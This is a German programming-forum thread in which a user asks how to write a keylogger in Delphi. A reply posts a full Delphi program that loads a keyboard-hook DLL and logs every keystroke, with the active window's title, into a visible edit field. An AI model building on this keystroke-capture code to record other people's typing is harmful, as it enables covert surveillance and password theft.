Keylogger in Delphi 3 / 6?

C

chicken_chicken

Grünschnabel
Hi zusammen.

Also diesmal geht es um Hooks usw... bei dem was ich vorhabe, nur leida habe ich davon noch nicht so die Ahung, desweggen dieses Projekt. Ich hab damit keine illegalien sachen oder so vor, just learning by doing *g

Er soll auch nicht unsichtbar sein, nicht schließbar, oder sonst irgendwelchen schnickschnack

vom Prinzip einfach nur jeden Tastenbefehl abfangen und in eine TXT Datei schreiben, oder in ein Edit feld.....

Erste Frage:
Ist Hooks einbinden und überhaupt ein KEylogger schon in Delphi 3 möglich
Wenn ja, hat jemand ein Tutorial dazu?

Wenn nicht muss es auf jeden Fall in D6 gehen..
hat dort jemand ein Tutorlial?

Bei google bin ich leider nicht sehr fündich geworden.
Danke schonmal ;)
 
hier mal noVCL

und das hätte ich jetzt gerne in VCL :)
aber wie geht das?

program Prject2;

uses
windows, messages;

{$R resource.res}
{$INCLUDE AppTools.inc}

const

IDC_BTNABOUT = 101;
IDC_EDTLOGGER = 102;
IDC_CHKALWAYSONTOP = 103;

FontName = 'Tahoma';
FontSize = -18;
FontNameEdt = 'Arial';
FontSizeEdt = -12;

const

APPNAME = '';
VER = '';
INFO_TEXT = '';

IDC_STATUSBAR = 103;

var
hApp: THandle;

whitebrush: HBRUSH = 0;

WhiteLB: TLogBrush =
(
lbStyle: BS_SOLID;
lbColor: $00FFFFFF;
lbHatch: 0
);

type
TFNCreateHook = function(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall;
TFNDeleteHook = function: Boolean; stdcall;
TFNGetLastKey = function: Word; stdcall;

const
WM_KEYBOARD_HOOK = WM_USER + 52012;
KBHOOKDLL = 'KBHook.dll';

var
hLib: THandle = 0;
CreateHookFtn: TFNCreateHook = nil;
DeleteHookFtn: TFNDeleteHook = nil;
WndTitleOld: string = '';




function dlgfunc(hDlg: hWnd; uMsg: dword; wParam: wParam; lParam: lParam): bool;
stdcall;
var
MyFont: HFONT;
s: string;
TextLength: Integer;
Buffer: PChar;
EditText: string;
WndTitle: array[0..255] of Char;

begin
result := true;
case uMsg of
WM_INITDIALOG:
begin
hApp := hDlg;

s := APPNAME + ' ' + VER;
SetWindowText(hDlg, pointer(s));
SetDlgItemText(hDlg, 999, pointer(s));

CheckDlgButton(hDlg, IDC_CHKALWAYSONTOP, BST_CHECKED);
SetWindowPos(hDlg, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE or SWP_NOMOVE);
if not CreateHookFtn(hDlg, TRUE) then
Messagebox(hDlg, '', '', 0);
end;

{sonst kann man nichtmehr schließen }
WM_CLOSE:
begin
DeleteHookFtn();
EndDialog(hDlg, 0);
end;

WM_KEYBOARD_HOOK:
begin
TextLength := SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXTLENGTH,
0, 0);
GetMem(Buffer, TextLength + 2);
try
SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXT, TextLength + 2,
Integer(Buffer));
case wParam of
VK_RETURN: EditText := string(Buffer) + #13#10;
VK_BACK:
begin
EditText := string(Buffer);
Delete(EditText, length(EditText), 1);
end;
VK_CONTROL, VK_MENU, VK_SHIFT, VK_CAPITAL: EditText :=
string(Buffer);
else
EditText := string(Buffer) + string(Chr(wParam));
end;
GetWindowText(lParam, @WndTitle, SizeOf(WndTitle));
if WndTitleOld <> string(WndTitle) then
begin
Delete(EditText, length(EditText), 1);
EditText := EditText + #13#10 + '[' + string(WndTitle) + ']' + #13#10
+ string(Chr(wParam));
WndTitleOld := string(WndTitle);
end;
SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_SETTEXT, 0,
Integer(@EditText[1]));
finally
FreeMem(Buffer);
end;
end;
else
result := false;
end;
end;


procedure GetEntryPoints(LibName: string);
begin
hLib := LoadLibrary(@LibName[1]);
if hLib <> 0 then
begin
@CreateHookFtn := GetProcAddress(hLib, 'CreateHook');
@DeleteHookFtn := GetProcAddress(hLib, 'DeleteHook');
if not (Assigned(CreateHookFtn) and Assigned(DeleteHookFtn)) then
begin
Messagebox(0, 'Funktionseinsprungspunkte konnten in ' + KBHOOKDLL +
' nichte gefunden werden.', 'LuckieSpy', MB_ICONERROR);
Halt;
end; // Assigned
end
else // LoadLibrary
begin
Messagebox(0, @(KBHOOKDLL + ' konnte nicht geladen werden. ')[1],
'LuckieSpy', MB_ICONERROR);
Halt;
end; // LoadLibrary
end;

begin
GetEntryPoints(KBHOOKDLL);
DialogBox(hInstance, MAKEINTRESOURCE(100), 0, @dlgfunc);
if hLib <> 0 then
FreeLibrary(hLib);
end.
 
Um antworten zu können musst du eingeloggt sein.

Neue Beiträge

Zurück